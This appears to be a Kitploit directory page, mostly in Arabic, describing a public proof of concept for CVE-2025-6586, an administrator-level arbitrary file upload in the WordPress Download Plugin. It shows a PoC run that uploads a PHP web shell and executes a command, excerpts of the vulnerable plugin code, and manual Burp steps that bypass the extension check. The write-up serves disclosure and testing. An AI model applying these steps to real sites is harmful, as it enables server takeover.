Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-6586 — إضافة التحميل <= 2.2.8 - رفع ملف عشوائي مع مصادقة (مسؤول+) | Kitploit
أدوات/GitHubGitHub/d0n601/cve-2025-6586
توليد الحمولةتحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubd0n601/cve-2025-6586

CVE-2025-6586

إضافة التحميل <= 2.2.8 - رفع ملف عشوائي مع مصادقة (مسؤول+)

عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إضافة Download Plugin <= 2.2.8 - رفع ملف عشوائي للمستخدمين المصادق عليهم (مشرفون فأعلى) عبر دالة dpwap_plugin_locInstall

لا تقوم إضافة Download Plugin بتعقيم أنواع ملفات دالة dpwap_plugin_locInstall المعروضة عبر صفحة mul_upload الإدارية، مما يسمح للمشرفين أو من هم أعلى برفع ملفات عشوائية وربما الحصول على تنفيذ كود على الخادم.

ملخص الثغرات المستغلة

تم تقديم نموذج إثبات cve-2025-6586.py لتوضيح قيام مشرف برفع شِلّة ويب باسم shell.php.

root@kitploit:~
python3 cve-2025-6586.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Web Shell Location: https://lab1.hacker/wp-
content/uploads/dpwap_logs/files/tmp/shell.php

Executing test command: ip addr
    <pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
v       alid_lft 75221sec preferred_lft 75221sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic
mngtmpaddr noprefixroute
        valid_lft 86354sec preferred_lft 14354sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
        valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
    link/ether 02:42:77:47:94:a5 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
        valid_lft forever preferred_lft forever
</pre>

التفاصيل

دالة dpwap_plugin_multiple_upload_func معروضة في صفحة mul_upload الإدارية. في السطر 80 من الملف /wp-content/plugins/download-plugin/app/Plugins/Base.php تتضمن الدالة الملف multiple_upload_plugin.php.

root@kitploit:~
// multiple upload function
public function dpwap_plugin_multiple_upload_func()
{
$dpwapObj = new Dpwapuploader();
$plugin_multiple_upload_file = DPWAP_DIR . DS . 'app' . DS .
'Plugins' . DS . 'templates' . DS . 'multiple_upload_plugin.php';
include_once $plugin_multiple_upload_file;
}

افتراضياً، المسار الكامل لـ $plugin_multiple_upload_file يجب أن يكون /wp- content/plugins/download-plugin/app/Plugins/templates/multiple_upload_plugin.php. سيتحقق القالب أيضاً من وجود $_POST['dpwap_locInstall'] و $_FILES['dpwap_locFiles']['name'][0]. إذا كانا موجودين، فسيستدعي $dpwapObj->dpwap_plugin_locInstall(); داخل الكود الذي يبني نموذج HTML في السطر 47.

root@kitploit:~
...
...
<div class="inside">
    <?php
        if (isset($_POST['dpwap_locInstall']) && $_FILES['dpwap_locFiles']['name'][0] != ""){
        echo '<form id="form_alldpwap" name="form_alldpwap" method="post" action="admin.php?page=activate-status">';
        echo "<div class='dpwap_main'>";
        $dpwapObj->dpwap_plugin_locInstall();
        echo "</div>";
        echo '<input class="button button-primary dpwap_allactive"
type="submit" name="dpwap_locInstall" onclick="activateAllPLugins()"
value="'. esc_attr__('Activate all', 'download-plugin').'">';
        echo '</form>';
        }
    ?>
</div>
...
...

كما هو موضح أدناه، دالة dpwap_plugin_locInstall داخل /wp-content/plugins/download-plugin/app/Plugins/Dpwapuploader.php في السطر 300 ستنقل الملفات المرفوعة إلى دليل يمكن الوصول إليه عبر الويب، مع الاحتفاظ باسم الملف الأصلي وامتداده. مثال: https://TARGETSITEDOMAIN/wp-content/uploads/dpwap_logs/files/tmp/shell.php

root@kitploit:~
public function dpwap_plugin_locInstall(){
// Increase the resources
@ini_set( 'memory_limit', '1024M' );
@ini_set( 'upload_max_filesize', '640M' );
@ini_set( 'post_max_size', '640M' );
check_admin_referer( $this->key );
echo '<div class="dpwap_h3">'.esc_html__( 'Installing Plugins',
'download-plugin' ) .':</div>';
for ( $i = 0; $i < count( $_FILES['dpwap_locFiles']['name'] ); $i++
) {
$dpwap_locFilenm = sanitize_file_name($_FILES['dpwap_locFiles']
['name'][$i]);
if ( strpos( $dpwap_locFilenm, 'mpipluginsbackup' ) === false )
{
//Get the temp file path
$tmpFilePath = $_FILES['dpwap_locFiles']['tmp_name'][$i];
//Make sure we have a filepath
if ( $tmpFilePath != "" ) {
//Setup our new file path
$newFilePath =
DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/' . $dpwap_locFilenm;
//Upload the file into the temp dir
if( @move_uploaded_file( $tmpFilePath, $newFilePath ) )
{
$dpwap_tempurls[] =
DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/'.$dpwap_locFilenm;
}
}
}
else{
echo esc_html__('This is', 'download-plugin') .'
<b>'.esc_html($dpwap_locFilenm).'</b> '.esc_html__( 'not a valid zip
archive.', 'download-plugin' );
}
}
if( $dpwap_tempurls )
$this->dpwap_get_packages( $dpwap_tempurls, "activate", "nocreate",
"upload_locFiles" );
}

إعادة الإنتاج يدوياً

  1. سجّل الدخول إلى لوحة التحكم وانتقل إلى Plugins -> Add Plugin.
  2. انقر على Upload Multiple Plugins في الأعلى، هذا الزر يُضاف إلى واجهة المستخدم بواسطة إضافة Download Plugin. 0
  3. الآن من /wp-admin/admin.php?page=mul_upload، افتح BurpSuite أو وكيلاً مشابهاً. 1
  4. خذ ملف php وقم بتغيير امتداده إلى zip لاجتياز التحقق الأمامي، ثم انقر على Install Now. 2
  5. قم بتعديل الطلب المعترض أثناء التشغيل أو في علامة تبويب Repeater لتغيير امتداد الملف مرة أخرى إلى php. 3
  6. تصفّح الملف المرفوع حديثاً لتشغيل تنفيذ الكود. 4
تنزيل الأداة